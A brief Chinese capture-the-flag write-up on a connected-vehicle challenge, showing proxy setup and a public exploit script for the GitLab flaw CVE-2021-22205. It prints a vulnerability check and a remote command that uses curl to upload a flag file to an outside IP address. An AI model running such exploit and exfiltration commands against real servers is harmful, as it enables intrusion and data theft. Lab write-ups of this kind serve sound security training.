新型车联网安全网络协议破解（阶段一）

下载vpn访问后是一个git

需要用Proxifier配置代理

配置代理服务

image-20231111175609407

配置代理规则

image-20231111175746684

之后利用脚本

1
https://github.com/Al1ex/CVE-2021-22205

检测漏洞

1
python3 CVE-2021-22205.py -v true -t http://172.18.0.4/

image-20231111175940503

存在漏洞

执行命令

1
python3 CVE-2021-22205.py -a true -t http://172.18.0.4/ -c "curl -T /home/mping/flag http://123.57.236.154:80"

image-20231111180232257